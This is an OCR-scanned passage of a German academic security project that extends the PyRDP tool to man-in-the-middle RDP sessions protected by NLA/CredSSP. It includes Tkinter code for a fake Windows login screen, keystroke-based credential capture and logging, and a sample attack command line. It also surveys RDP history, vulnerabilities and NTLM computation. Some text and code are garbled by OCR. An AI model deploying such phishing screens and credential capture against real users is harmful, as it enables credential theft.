if self.state.credentialsCandidate or self.state.inputBuffer:
self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s”, {
“credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer)
)
# Deactivate the logger for this client
self.state.loggedin = True

self.state.shiftPressed = False

self.state.capsLockOn = False
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self state.credentialsCandidate = "

self.state.inputBuffer =

Das bestehende PyRDP-Projekt verwendet das Enhanced Security TLS, um sich mit dem Server
zu verbinden, aber diese TLS-Verbindung muss durch die CredSSP-Verbindung ersetzt werden,
damit sie mit NLA funktioniert. In der folgenden Klasse und Methoden wird die TLS-Verbindung
gestartet und die Verbindung zum Server aufgebaut:

RDPMITM.py (Methode=>startTLS)

def startTLS(self, onTIsReady: typing.Callable[[], None]):

Execute a startTLS on both the client and server side.

self.onTIsReady = onTlsReady

# Establish TLS tunnel with target server...

contextForServer = ClientTLSContext()

self.server.tcp.startTLS(contextForServer)

# Establish TLS tunnel with client.

reactor.callLater(1, self.doClientTls)
RDPMITM.py (Methode => connectToServer)

async def connectToServer(self):

reactor.connectTCP(self.config.targetHost, self.config.targetPort, serverFactory)
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/ Implementierung der PyRDP-Erweiterung

7.1 Fake Login Screen

7.1.1 Implementation

Da wir in der Analyse zum Schluss gekommen sind, dass ein direkter Man-in-the-Middle Angriff
auf eine mit NLA/CredSSP geschiitzte Verbindung nicht mdoglich ist, haben wir uns eine
alternative MitM-Variante lberlegt (siehe Kapitel 5.9 Alternative Man-in-the-Middle Variante).
Fir diese Variante bendtigen wir das Passwort vom User, bevor wir eine CredSSP geschitzte
Verbindung vom Man-in-the-Middle zum Server aufbauen kénnen. Damit wir das erreichen
kdnnen, implementieren wir einen Fake-Login-Screen, welcher dem Client dann angezeigt wird
und er da sein Passwort eingeben kann und wir so an das Passwort kommen.

Da das Tool «PyRDP» erweitert wird und dieses ist in Python geschrieben, wurde der Fake-
Login-Screen ebenfalls in Python geschrieben. Um den Fake-Login-Screen zu implementieren,
wurde das GUI-Toolkit Tkinter fiir Python verwendet.

Fir den Hintergrund des Login Screens haben wir ein Standardbild von Windows 10 verwendet,
welches sich auf jedem Windows 10 Home Betriebssystem unter C:\Windows\Web\Screen
befindet. Das Bild wurde dann noch etwas abgedunkelt, damit es aussieht wie der originale
Login Screen. Danach haben wir dem Bild den Standardavatar von Windows hinzugefigt.
Dieser befindet sich unter C:\ProgramData\Microsoft\User Account Pictures. Bei diesem Bild
musste der Hintergrund entfernt werden, damit er transparent ist und das Bild musste auch
noch rund ausgeschnitten werden. Ebenfalls wurde unter dem Avatarbild, wo normalerweise
der Username steht, der Text «other user» hinzugefligt. Dieses Bild wurde dann im Python
Skript, welches den Fake-Login-Screen (Abbildung 32) darstellt, als Hintergrund festgelegt und
so eingestellt, dass sich das Bild automatisch der Grésse des Fensters anpasst.

Other user

| SOSIREE.

Abbildung 32: Hintergrundbild des Fake-Login-Screen (Eigene Darstellung)
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Fir die beiden Eingabefelder fiir Benutzername und Passwort wurden zwei Entry Elemente von
Tkinter benutzt. Diese wurden unter dem «Other user» Text platziert. Als Schriftart wurde Segoe
Ul verwendet. Flr den Login Button wurde ein Button Element benutzt und als Hintergrund fir
diesen Button wurde ein zugeschnittener Screenshot eines Buttons auf einem originalen Lock
Screen verwendet. Dieser Login Button wurde am rechten Ende des Eingabefeldes flr das
Passwort platziert. (siehe Abbildung 33)

txt_username = Entry(window, font=("Segoe Ul", 13), bd=2, bg="white", insertofftime=600, insertwidth
="1p", highlightthickness=1)

txt_username.config(highlightbackground = "gray", highlightcolor= "#eaeaea")

txt_username.place(relx=0.5, rely=0.61, anchor=CENTER, height=40, width=290)
txt_username.focus()

txt_password = Entry(window, show="¢", font=("Segoe Ul", 20), bd=2, bg="white", insertofftime=600, i
nsertwidth="1p", highlightthickness=1)

txt_password.config(highlightbackground = "gray", highlightcolor= "gray")
txt_password.place(relx=0.489, rely=0.675, anchor=CENTER, height=40, width=259)
txt_password.configure(cursor="xterm")

#Login Button

login_image = Photolmage(file = "images/LoginButton.png")

btn_login = Button(window, text = "Login", image=Ilogin_image, command=clicked, width=33, height=
33, highlightthickness=1)

btn_login.config(highlightbackground = "gray", highlightcolor= "gray")

btn_login.place(relx=0.57, rely=0.653)
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Other user
]
| —)

Abbildung 33: kompletter Fake-Login-Screen (Eigene Darstellung)

Damit die Verbindung zum Server Uber CredSSP hergestellt werden kann, nachdem sich der
Client beim Fake-Login-Screen «angemeldet» hat und der Client nicht die ganze Zeit beim
Fake-Login-Screen bleibt, haben wir noch einen Loading Screen eingefligt. Dieser wird
aktiviert, sobald der Client den Login Button betatigt. Dieser Loading Screen besteht aus einem
animierten Gif und einem Hintergrund, welcher dieselbe Farbe hat wie der Hintergrund des
Gifs. Somit hat der Client dann das Gefiihl, dass er sich erfolgreich eingeloggt hat und nun
noch auf den Desktop warten muss. Dieser Loading Screen (Abbildung 34) wird dann so lange
ausgefuhrt, bis das Programm abgebrochen wird.

Just a moment...

Abbildung 34: Loading Screen (Eigene Darstellung)

» Der komplette Code des Fake-Login-Screens befindet sich im Anhang F.
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7.1.2 Einbindung in PyRDP

Damit beim Verbindungsaufbau vom Client zum Server auch zuerst der Fake-Login-Screen
angezeigt wird, muss dieser noch in PyRDP eingebunden werden.

Wir haben das mit einem neuen Parameter geldst. Wenn man einen Man-in-the-Middle Angriff
auf einen Server starten will, der nur mit NLA gesicherte Verbindungen akzeptiert, dann muss
man beim starten des PyRDP den Parameter «--nla» mitgeben. Als Argument gibt man die IP-
Adresse des Servers an, auf welchem der Fake-Login-Screen lauft. Ebenfalls muss man den
Username und das Passwort des Servers auf welchem der Fake-Login-Screen lauft, angeben,
da man sich sonst auf dem Server selbst anmeldet und danach erst auf den Fake-Login-Screen
kommt. Und da das Passwort vom Client sehr wahrscheinlich anders ist als das Passwort fiir
den Fake-Login-Screen Server, wiirde der Client beim Login Screen des Servers hangen bleiben.
Der Code im PyRDP wurde so verdandert, dass wenn der Parameter «--nla» mitgegeben wird,
man auf dem Fake-Login-Screen Server weitergeleitet wird und nicht auf den eigentlichen
Zielserver.

Wenn man nun auf dem Fake-Login-Screen Server angemeldet ist und den gefalschten
Anmeldebildschirm sieht, wird die Variable loggedin im DeviceRedirection.py File nicht auf True
gesetzt und somit zeichnet PyRDP alle Tastaturanschlage bis zu einem «Return»
Tastenanschlag auf. Nachdem «Return» gedriickt wurde, werden die Tastaturanschlage in einer
Variablen gespeichert. Danach wird dieser String noch beim Tabulatorzeichen ('\t) getrennt
und man hat den Usernamen und das Passwort, und wird mit der CredSSP Authentifizierung
fortgefahren.

Nachdem die Credentials gespeichert wurden, wird die Variable loggedin im BasePathMITM.py
File auf True gesetzt, damit PyRDP nicht die ganze Zeit meint, der Benutzer méchte sich
anmelden und alle Tastaturanschlage aufzeichnet und nach jedem Return diese
Tastaturanschlage abspeichert.

Ein Beispiel wie man PyRDP mit dem Fake-Login-Screen startet, ware folgendes:

pyrdp-mitm.py 10.1.1.1 --username user1 --password securepassword --nla 10.1.2.3

Wobei die IP-Adresse 10.1.1.1 der eigentliche Zielserver ist, user1 der Username vom Server
auf welchem der Fake-Login-Screen lauft, «securepassword» das Passwort fiir diesen Server
und 10.1.2.3 die IP-Adresse des Servers auf welchem der Fake-Login-Screen lauft.
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7.2 CredSSP Authentifizierung

Das CredSSP-Authentifizierungsverfahren ist bereits in vielen Python-Implementierungen
vorhanden. Daher musste dieser Teil unserer MITM-Variante nicht komplett von Grund auf neu
implementiert werden. Es gibt bekannte Bibliotheken wie etwa impacket oder pywinrm, die
sich in bestehende Anwendungen einfach einbinden lassen. Es gibt auch bereits einige RDP-
MITM-Tools, die auf Python basieren und dabei diese Bibliotheken verwendet haben.

Daher wurde die Implementierung der CredSSP-Authentifizierung nicht von Grund auf neu
geschrieben, sondern die impacket-Bibliothek wurde fiir diesen Zweck verwendet. Die
Bibliothek konnte auch in PyRDP ahnlich wie die anderen Tools integriert werden, allerdings
waren einige kleinere Anderungen notwendig.

Fir die Implementierung wurde die CredSSP-Authentifizierungsimplementierung aus dem
Tool CredSSPY Ubernommen und angepasst. Zunachst musste die Einbeziehung der Domain
in die Challenge-Berechnung entfernt werden, da CredSSPY einen anderen MITM-Ansatz
verwendet. Dies konnte problemlos umgeschrieben bzw. aus der Berechnung entfernt werden,
da in den NTLM-Nachrichten die Angabe der Domain ein optionales Feld ist.

Der Authentifizierungsprozess wird mit einer neuen, in PyRDP implementierten Methode
namens «clientConnect» gestartet und umfasst flinf Schritte:
1. TLS-Verbindung mit Server aufbauen (= TLS-Handshake)

2. Starten des CredSSP-Handshakes
2.1. Senden der NTLM NEGOTIATE_MESSAGE an Server (SPNEGO Token)
2.2. Empfangen der NTLM CHALLENGE_MESSAGE von Server (SPNEGO Token)

3. Senden der NTLM Authenticate-Nachricht an den Server (SPNEGO Token)
3.1. Berechnung der Challenge
3.2. Signieren des Server Public Keys (Feld «pubKeyAuth»)

4. Uberprifung der Public Key-Signatur des Servers

5. Senden der verschlisselten Anmeldeinformationen an den Server

Die Methode clientConnect wird in der bestehenden Klasse BasePathMITM aufgerufen, sobald
die Anmeldeinformationen (Benutzername und Kennwort) Uber den gefdlschten
Anmeldebildschirm erfasst worden sind.

Um die erfolgreiche Authentifizierung Gber NLA (CredSSP) des PyRDP-Clients zum RDP-Server
zu Uberprifen, wurde das Tool Event Viewer von Microsoft verwendet, das standardmassig im
Windows-Betriebssystem enthalten ist. Im Event Viewer wird ein Protokoll der Anwendungs-
und Systemmeldungen, einschliesslich Systemanmeldungen von Remote-Benutzern,
angezeigt.

Mit den Security-Logs (Abbildung 35) konnte sichergestellt werden, dass die Implementierung
der CredSSP-Authentifizierung erfolgreich umgesetzt wurde.
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Security  Mumber of events: 2'148

Keywor.. Date and Time

Source Event ID Task C...

Event 4624, Microsoft Windows security auditing.

General

Detailz

Subject:

Security 1D:
Account Name:
Account Domain:
Logon ID:

Legon Information:

Logon Type:

Restricted Admin Mode:
Virtual Account:
Elevated Token:

Impersonation Level:

An account was successfully logged on.

MULL 510

O

3

Mo
Yes

Impersonation

New Logon:

Security 1D:
Account Name:
Account Domain:

SINV-56063\Administrator
Administrator
SINV-56063

Logon IL:
Linked Logon ID:
Metwork Account Name:

Metwork Account Domain:

Logon GUID:

Process Information:

Process [Ds
Process Name:

Metwork Information:

Workstation Name:

Source Network Address:

Source Port:

(VTR
Ox0

{00000000-0000-0000-0000-000000000000}

172.16.60.238
0

Detailed Authentication Information:

Logon Process:
Authentication Package:
Transited Services:

MNtLmSsp
NTLM

More Information:

Package Mame (NTLM only): MTLM V2
Log Name: Security
Source: Microsoft Windows security  Logged: 27.05.2021 14:04:32
Event ID: 4624 Task Category: Logon
Level: Information Keywords: Audit Success
Usen: M/A Computer: sinv-36063
OpCode: Info

Event Log Online Help

Abbildung 35: Event Viewer - CredSSP Auth Verifizierung (Eigene Darstellung)

» Der komplette Code der CredSSP Authentifizierung befindet sich im Anhang G.
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7.3 Layer Mapping

Fir das Layer Mapping von RDP wurden die folgenden drei verschiedenen
Implementationsansatze verfolgt:

¢ Neue RDPMITM Instanz

e Ganze App neustarten nach dem Fake-Login Screen

e Neuer Observer / Layer / Parser

Ansatz: Neuer RDPMITM Instanz

Die Klasse RDPMITM.py ist die Hauptklasse des mitm-Moduls. Sie verbindet sich mit dem
Server und dem Client und baut die verschiedenen Kanale und Layers von RDP auf einer TCP
Verbindung auf. Die Kandle zum Server und zum Client werden dann auch miteinander
verbunden, so dass die Daten von Client zum Server und umgekehrt weitergeleitet und auch
ausgelesen werden kénnen.

Wir haben versucht, diese Klasse nach dem Einlesen der Credentials via Fake-Login-Screen in
BasePathMITM.py neu zu instanziieren, damit die ganzen Layers und Kanale mit der Zielserver-
Verbindung aufgebaut werden. Nachdem die Credentials eingelesen wurden, wurde eine TLS
Verbindung erfolgreich aufgebaut und wir konnten uns auf dem Server erfolgreich
authentifizieren, mit den Credentials, die wir vom Fake-Login-Screen haben. Nach mehreren
Versuchen wurde jedoch die Fehlermeldung «object is not callable» ausgegeben. Diese
Fehlermeldung konnte behoben werden. Jedoch konnten wir unsere bereits aufgebaute TLS
Verbindung zum Server nicht in den RDPMITM einbinden, so dass die RDP Layers aufgebaut
wurden und deshalb wurde dieser Ansatz spater verworfen.

Ansatz: Ganze App neustarten nach dem Fake-Login-Screen

Der PyRDP-Man-in-the-Middle wird mit dem Skript PyRDP-mitm.py gestartet. Wir haben
versucht, ahnlichen Code aus PyRDP-mitm.py zu Ubernehmen und den Reaktor von der
Twisted Library zu stoppen und erneut einen Reactor zu starten. Dieser Reactor ist der Event
Loop in der Twisted Library. Uber ihn laufen alle eingehenden und ausgehenden Nachrichten.
Nach dem Auslesen der Credentials Uber einen gefdlschten Anmeldebildschirm in
BasePathMITM.py wurde die CredSSP-Authentifizierung in RDPMITM mit den erhaltenen
Credentials durchgefiihrt. Nach der erfolgreichen CredSSP-Authentifizierung wurde das Layer-
Mapping jedoch nicht automatisch tber die Observer durchgefiihrt, da das PyRDP-Projekt die
TLS-Verbindung, die vorhin mit CredSSP hergestellt wurde, nicht kannte und somit die Layers
nicht auf dieser Verbindung aufbauen konnte. Bei diesem Ansatz konnte diese TLS-Verbindung
ebenfalls nicht eingebunden werden. Ebenfalls Probleme bereitete der Reactor. Denn das
Problem ist, dass nicht zwei Reactors gleichzeitig auf denselben Port horen kdnnen. Deshalb
mussten wir bei diesem Ansatz fiir die Verbindung zum Fake-Login-Screen auf einen anderen
Port horen. Ein weiteres Problem war, dass der Reactor nicht gestoppt werden konnte, trotz
mehreren Ansatzen. Auch war dieser Ansatz so nicht realistisch, da sich der Client nach der
Eingabe der Credentials auf einen neuen Port verbinden misste. Denn normalerweise versucht
sich der Client wieder zu verbinden, wenn die Verbindung Serverseitig unterbrochen wurde,
jedoch immer auf dieselbe Adresse und denselben Port. Deshalb wurde auch dieser Ansatz
nach mehreren Versuchen verworfen.
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Ansatz: Observer / Layer / Parser

Wie schon in der Analyse erwdhnt, verwendet das PyRDP Projekt das Observer Pattern fir die
verschiedenen Layers wie z.B. X224 und MCS. Mithilfe dieser Observer wird auf eine
einkommende Nachricht reagiert und entsprechende Aktionen ausgel6st, wie z.B. der Aufbau
eines virtuellen Channels. Wir haben fiir die CredSSP-Authentifizierung einen neuen Observer,
ein neuer Layer und einen neuen Parser erstellt. Der neue CredSSP Layer wird nach dem X224
und vor dem MCS Layer im File layerset.py eingebunden und aufgebaut. In diesem CredSSP
Layer soll die CredSSP Authentifizierung auf der bereits ausgebauten TLS-Verbindung
durchgefiihrt werden. Nach einer erfolgreichen Authentifizierung sollen die verschiedenen
Kanale, welche PyRDP schon anbietet, via Observer aufgebaut werden. Jedoch wurde der neu
implementierte CredSSP Observer nie aufgerufen und deshalb wurde die CredSSP
Authentifikation nach der ersten Message nicht weitergefiihrt. Ebenfalls sendete der Server
eine TLS Fehlermeldung nach Erhalt der ersten NTLM Message zuriick. (Abbildung 51 Im
Anhang I)

Dieser Ansatz ist der meist versprechende Ansatz im Vergleich zu anderen zwei Ansatzen.
Jedoch wurde dieser Ansatz nicht vollumfanglich implementiert.
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8 Weitere Themen

8.1 RDP Historie

Der Inhalt und die Ausfliihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Wikipedia, 2021; Bordes, Ebalard, & Rigo, 2021)

8.1.1 Protokoll-Versionen

RDP 4.0 (Windows NT Server 4.0 TSE)

RDP 4.0 ist die erste Version des RDP-Protokolls, die 1996 mit Windows NT Server 4.0 in der
Terminal Server Edition eingefihrt wurde. Das Protokoll war zu diesem Zeitpunkt in seiner
Funktion noch recht eingeschrankt. Das Hauptziel dieses Protokolls bestand darin, eine Losung
fur den Display-Offset auf einem Benutzer-Endgeréat bereitzustellen und den verschlisselten
Transport von Maus- und Tastatureingaben des Benutzers zu ermdglichen.

Das Protokoll bot auch in der ersten Version schon drei Verschlisselungsstufen zur Auswahl:
niedrig, mittel (Standard) und hoch. In RDP 4.0 basierten diese verschiedenen Stufen alle auf
der Verwendung einer 40-Bit-RC4-Verschlisselung. Die Integritat wurde Uber ein Pseudo-
HMAC 16 sichergestellt. Die in dem Protokoll verwendeten Sicherheitsmechanismen
(Authentifizierung, Schlisselaustausch, etc.) waren zu diesem Zeitpunkt ineffektiv und waren
daher anfallig auf Angriffe aus der Umgebung. Ausserdem war es auch moglich, den wahrend
einer Sitzung ausgetauschten Datenverkehr zu entschlisseln. Diese Schwachstellen wurden
erst fast 10 Jahre spater mit der Version 5.2 des Protokolls behoben.

RDP 5.0 (Windows 2000 Server)

Mit dieser Version, die mit Windows 2000 Server eingefiihrt wurde, wurden neue Funktionen
eingeflhrt: persistenter lokaler Bitmap-Cache, Wiederaufnahme von Sitzungen, lokales
Drucken, gemeinsame Nutzung der Zwischenablage und Netzwerkoptimierungen. Windows
2000 unterstitzte eine Schlisselgrésse von 56 Bit flir die RC4-Verschlisselung.

Durch Installation des Windows 2000 High Encryption Pack oder SP2 konnte aber dann die
Verwendung einer 128-Bit-Schlisselgrosse aktiviert werden. Damit die Vertraulichkeit und
Integritat der Verbindung gewahrleistet werden konnte, musste in dieser Version des RDP-
Protokolls mindestens das SP2 installiert werden. Die Sicherheitslicken aus der vorherigen
Version, wurden erst mit dem SP4 behoben.

RDP 5.1 (Windows XP Professional)

Diese Version wurde 2001 mit Windows XP Professional eingefiihrt. Sie unterstitzt 24-Bit-
Farbe, Festplattenumleitung, Audio und COM-Ports. Ausserdem bietet diese Version
Unterstltzung fur die Authentifizierung mittels Smartcard.

Ein RDP 5.1-Client war fir Windows 2000, Windows 9x und Windows NT 4.0 verfligbar. Mit
diesem Release wurde der Name der Client-Software von «Terminal Services Client» in
«Remote Desktop Client» geandert.

In dieser Version wurde aus Sicherheitsgriinden eine neue Verschlisselungsstufe, FIPS, zu den
drei zuvor eingefiihrten RC4-basierten Stufen hinzugefiigt, die Triple DES fir die
Verschlisselung verwendet und HMAC-SHAT fir die Integritat benutzt.
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RDP 5.2 (Windows Server 2003 SP1)

Diese Version wurde mit Windows Server 2003 SP1 eingefiihrt. RDP 5.2 bietet die Mdglichkeit,
TLS zum Schutz von RDP-Sitzungen zu verwenden. Einer der Vorteile dieser Erweiterung ist die
Fahigkeit des Clients, den Server zu authentifizieren. Der Einsatz von TLS fir den RDP-
Datenverkehr ermdglicht es zudem die Verwendung von optimierten Verfahren fir
Schlisselaustausch, Verschliisselung und die Sicherstellung der Integritat.

RDP 6.0 (Windows Vista)

Diese Version wurde im Jahr 2007 mit Windows Vista eingefiihrt. RDP 6.0-Client-Versionen sind
fur Windows Server 2003 und Windows XP SP2 verfligbar. Aus funktionaler Sicht bietet diese
Version Unterstlitzung flr den 32-Bit-Farbmodus und die Unterstiitzung fiir die Verwendung
von mehreren Bildschirmen. Eine der wichtigsten Sicherheitsentwicklungen von RDP 6.0 ist die
Integration von NLA. NLA ermdglicht die Authentifizierung des Benutzers zu Beginn der RDP-
Sitzung und ermdglicht anschliessend die direkte Ubermittlung von dessen Anmeldedaten an
den Server.

Bei Windows XP wurde die CredSSP-Unterstiitzung erst nach einem Upgrade auf SP3, der
Aktivierung des CredSSP-Mechanismus und der Installation von Version 6.1 oder hoher des
RDP-Clients integriert. Parallel wurde mit dieser Version auch ein Microsoft Remote Desktop
Connection Client fur OS X eingefiihrt, welches sowohl Intel- wie auch PowerPC-Gerate mit der
OS Version 10.4.9 und hoher unterstutzt.

RDP 6.1 (Windows Server 2008)

Diese Version des RDP Protokolls wurde zusammen mit Windows Vista SP1 und Windows
Server 2008 eingefiihrt. Client-Updates auf diese Version waren fiir Windows Vista SP1 sowie
fur Windows XP SP2 verfugbar. Auch in dieser Version wurden neue Funktionen eingefiihrt:
Remote-Verbindung zu einzelnen Programmen, clientseitiges Druckerumleitungssystem,
Remote-Administrator, der Software sowie Einstellungen auf dem Client kontrollieren kann.

RDP 7.0 (Windows 7)

Diese Version wurde mit Windows 7 und Windows Server 2008 R2 eingefiihrt. Diese Version
kann zudem als Updates fir Windows XP SP3, Windows Vista SP1 und SP2 geladen werden.
Aus funktionaler Sicht bietet diese Version insbesondere bidirektionale Audiounterstitzung,
eine Beschleunigung des Bitmap-Austausches, Aero-Unterstiitzung, Language Bar Docking,
Shadow-Funktion und Unterstiitzung fir einen echten Multi-Screen-Modus.

Um die Sicherheit zu erhéhen, verwendet RDP 7.0 ein selbstsigniertes 2048-Bit RSA-Zertifikat
mit einer Gultigkeit von 6 Monaten, das vom System generiert und standardmassig fir die TLS-
Sitzung verwendet wird.

RDP 7.1 (Windows 7 SP1)

Diese Version wurde zusammen mit Windows 7 SP1 und Windows Server 2008 R2 SP1
eingefihrt. Mit dieser Version wurde RemoteFX eingefiihrt, das virtualisierte GPU-
Unterstiitzung und Host-seitige Verschlisselung ermoglichte.
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RDP 8.0 (Windows 8)

Diese Version wurde im Jahr 2012 mit Windows 8 und Windows Server 2012 eingefiihrt. Auch
mit dieser Version wurden funktionale Erweiterungen eingefihrt: Unterstiitzung von Adaptive
Graphics, automatische Auswahl von TCP oder UDP als Transportprotokoll, Multi-Touch-
Unterstiitzung, USB-Umleitung und weitere. Eine neue Funktion, die eingefiihrt wurde, ist die
eingeschrankte Unterstiitzung flir RDP Session Nesting. Diese wird jedoch nur von Windows 8
und Windows Server 2012 unterstitzt. RDP 8.0-Client- sowie die Server-Komponente sind fir
Windows 7 SP1 und Windows Server 2008 R2 SP1 verfligbar. Mit dieser Version wurden die
Funktionen Aero-Glass-Remoting und Shadow, welche in der Version 7.0 eingeflihrt wurden,
wieder entfernt. Im RDP 8.0-Client wurde eine Schaltfliche «Connection Quality» in der
Verbindungsleiste hinzugeflgt, die zusatzliche Informationen tber die Verbindung angibt.

RDP 8.1 (Windows 8.1)

Die RDP Version 8.1 wurde zusammen mit Windows 8.1 und Windows Server 2012 RS2
eingefihrt. Client-Updates auf diese Version sind fur Windows 7 SP1 verfugbar. Jedoch wird
dabei nur die Client-Komponente geliefert. Falls auch die Server-Komponente bendtigt wird,
kann KB2592687-Update vor der Installation des RDP 8.1-Updates installiert werden. Mit RDP
8.1 wurde die in der vorherigen Version entfernte Session Shadowing-Funktion wieder
eingeflihrt. Zusatzlich behebt diese Version auch einige visuelle Probleme mit Microsoft Office
2013 bei der Ausfiihrung als RemoteApp. Diese Version ermoglicht einen eingeschrankten
Admin-Modus, bei dem fir die Anmeldung nur der Hash des Kennworts bendtigt wird,
wodurch ein Pass-the-Hash Angriff ermoglicht wird.

RDP 10.0 (Windows 10)

Diese Version wurde mit Windows 10 eingefiihrt. RDP 10.0 erganzt die Vorgangerversion um
die AutoSize-Zoomfunktion und bietet Verbesserungen bei der Grafikkomprimierung.
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8.1.2 Sicherheitsllicken

Seit der Einfihrung von RDP wurden etwa vierzehn referenzierte Sicherheitsllicken in den
Microsoft-Implementierungen gefunden. Diese werden in diesem Abschnitt aufgefiihrt und in
drei Hauptkategorien unterteilt.

e Denial of Service

O

MS01-006: Ungliltige RDP-Daten kdnnen zum Ausfall des Terminalservers
fuhren. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2001/ms01-006 )

MS01-040: Ungliltige RDP-Daten kénnen ein Speicherleck in den
Terminaldiensten verursachen. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2001/ms01-040 )

MS01-052: Ungliltige RDP-Daten kdnnen zum Ausfall des Terminaldienstes
fuhren. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2001/ms01-052 )

MS05-041: Sicherheitsliicke im Remote-Desktop-Protokoll kann Denial-of-
Service ermdglichen. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2005/ms05-041 )

MS11-065: Sicherheitsliicke im Remote-Desktop-Protokoll kann Denial-of-
Service ermdglichen. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2011/ms11-065 )

e Code Execution

O

MS02-046: Buffer Overflow im TSAC-ActiveX-Steuerelement kann Code-
Ausfuhrung ermaoglichen. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2002/ms02-046 )

MS09-044: Sicherheitsliicken in der Remotedesktopverbindung konnen
Remotecodeausfiihrung ermaoglichen. (https://docs.microsoft.com/en-
us/security-updates/securitybulletins/2009/ms09-044 )

MS11-017:  Sicherheitslicke in  Remote  Desktop  Client  kann
Remotecodeausfiihrung ermaglichen. (https://docs.microsoft.com/en-
us/security-updates/securitybulletins/2011/ms11-017 )

MS11-061: Sicherheitsliicke in Remote-Desktop-Webzugriff kann Erhéhung der
Berechtigungen  ermdglichen.  (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2011/ms11-061)

MS12-020: Sicherheitslicken in Remote Desktop kénnen
Remotecodeausfiihrung ermdoglichen. (https://docs.microsoft.com/en-
us/security-updates/securitybulletins/2012/ms12-020 )

e Design / Crypto

O

MS02-051: Kryptografischer Fehler im RDP-Protokoll kann zur Offenlegung von

Informationen fahren. (https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2002/ms02-051)

KB275727

Forsberg03

CVE-2005-1794
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Hier wird noch einmal eine grobe tabellarische Ubersicht (iber die oben aufgefiihrten
Sicherheitslicken zusammen mit den betroffenen Protokollversionen und Betriebssystemen
dargestellt.

RDP Version Unterstiitzte Betriebssysteme | Bekannte
Sicherheitsliicken
4.0 1996 Windows NT Server 4.0 MS01-040, MS01-052
5.0 2000 Windows 2000 Server MS01-006, MS01-040,
MS01-052, MS02-051

5.1 2001 Windows XP Professional, MS01-006, MS01-040,
Windows 2000, Windows 9x, MS01-052, MS02-051
Windows NT 4.0

5.2 2003 Windows Server 2003 SP1 MS05-041, MS11-017

6.0 2007 Windows Vista, Windows Server | MS05-041, MS09-044,
2003, Windows XP SP2 MS02-051

6.1 2008 Windows Vista SP1, Windows MS05-041, MS09-044,
Server 2008, Windows XP SP2 MS11-017, MS02-051

7.0 2009 Windows 7, Windows Server MS11-065, MS09-044,
2008 R2, Windows XP SP3, MS11-017, MS12-020,
Windows Vista SP1 & SP2 MS02-051

7.1 2011 Windows 7 SP1, Windows Server | MS11-061, MS12-020
2008 R2 SP1

8.0 2012 Windows 8, Windows Server MS11-061, , MS12-020
2012, Windows 7 SP1, Windows
Server 2008 R2 SP1

8.1 2013 Windows 8.1, Windows Server MS12-020
2012 RS2, Windows 7 SP1

Tabelle 4: Uberblick RDP Historie
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8.2 NTLM Responses & Keys

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Glass, 2006; Microsoft, 2021)

8.2.1 Responses

LM Response

Die LM-Response wird von den meisten Clients gesendet. Dieses Schema ist alter als die NTLM-
Response und weniger sicher. Neuere Clients unterstltzen zwar die NTLM-Response, senden
aber aus Kompatibilitatsgrinden mit alteren Servern in der Regel beide Antworten. Daher sind
die Sicherheitsliicken der LM-Response bei vielen Clients, die die NTLM-Response
unterstlitzen, noch vorhanden.

Die LM-Response wird wie folgt berechnet:
1. Das Passwort des Benutzers (als OEM-String) wird in Grossbuchstaben umgewandelt.

Dieses Passwort wird mit Nullen auf 14 Bytes aufgefullt.

Dieses «feste» Kennwort wird in zwei 7-Byte-Halften aufgeteilt.

Aus diesen Werten werden zwei DES-Schlissel erstellt (einer aus jeder 7-Byte-Halfte).

Jeder dieser Schllssel wird zur DES-Verschlisselung der konstanten ASCII-Zeichenfolge

«KGS!@#$%» verwendet (was zu zwei 8-Byte-Chiffretext-Werten fiihrt).

6. Diese beiden Chiffretext-Werte werden zu einem 16-Byte-Wert verkettet, dem LM-
Hash.

7. Der 16-Byte-LM-Hash-Wert wird auf 21 Byte aufgefillt.

Dieser Wert wird in drei 7-Byte-Drittel aufgeteilt.

9. Diese Werte werden verwendet, um drei DES-Schlissel zu erstellen (einen aus jedem 7-
Byte-Drittel).

10. Jeder dieser Schlissel wird zur DES-Verschlisselung der Challenge aus der Typ-2-
Message verwendet (was zu drei 8-Byte-Ciphertext-Werten flhrt).

11. Diese drei Chiffretext-Werte werden zu einem 24-Byte-Wert verkettet. Dies ist die LM-
Response.

ik wnn
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Fir den Fall, dass das Kennwort des Benutzers langer als 15 Zeichen ist, speichert der Host oder
Domanencontroller den LM-Hash fiir den Benutzer nicht. Die LM-Response kann in diesem Fall
nicht zur Authentifizierung des Benutzers verwendet werden. Es wird dennoch eine Antwort
generiert und in das LM-Antwortfeld geschrieben, wobei ein 16-Byte-Nullwert
(0x00000000000000000000000000000000) als LM-Hash in der Berechnung verwendet wird.
Dieser Wert wird vom Ziel ignoriert.

NTLM Response

Die NTLM-Response wird von neueren Clients gesendet. Dieses Schema behebt einige der
Schwachstellen der LM-Response, wird aber immer noch als ziemlich schwach angesehen.
Ausserdem wird die NTLM-Response fast immer in Verbindung mit der LM-Response
gesendet. Die Schwachstellen in diesem Algorithmus kénnen ausgenutzt werden, um das
Passwort ohne Berlicksichtigung der Gross-/Kleinschreibung zu erhalten, und durch
Ausprobieren kann das Passwort mit Berucksichtigung der Gross-/Kleinschreibung ermittelt
werden, welches in der NTLM-Antwort verwendet wird.

Die NTLM-Antwort wird wie folgt berechnet:
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1. Der MD4-Message-Digest-Algorithmus wird auf das Unicode-Passwort mit gemischter
Gross- und Kleinschreibung angewendet. Das Ergebnis ist ein 16-Byte-Wert, der NTLM-
Hash.

2. Der 16-Byte-NTLM-Hash wird auf 21 Byte aufgefiillt.

3. Dieser Wert wird in drei 7-Byte-Drittel aufgeteilt.

4. Diese Werte werden verwendet, um drei DES-Schlssel zu erstellen (einen aus jedem 7-
Byte-Drittel).

5. Jeder dieser Schlissel wird zur DES-Verschlisselung der Challenge aus der Typ-2-
Message verwendet (was zu drei 8-Byte-Chiffretext-Werten flhrt).

6. Diese drei Chiffretext-Werte werden zu einem 24-Byte-Wert verkettet. Dies ist die
NTLM-Response.

NTLMv2 Response
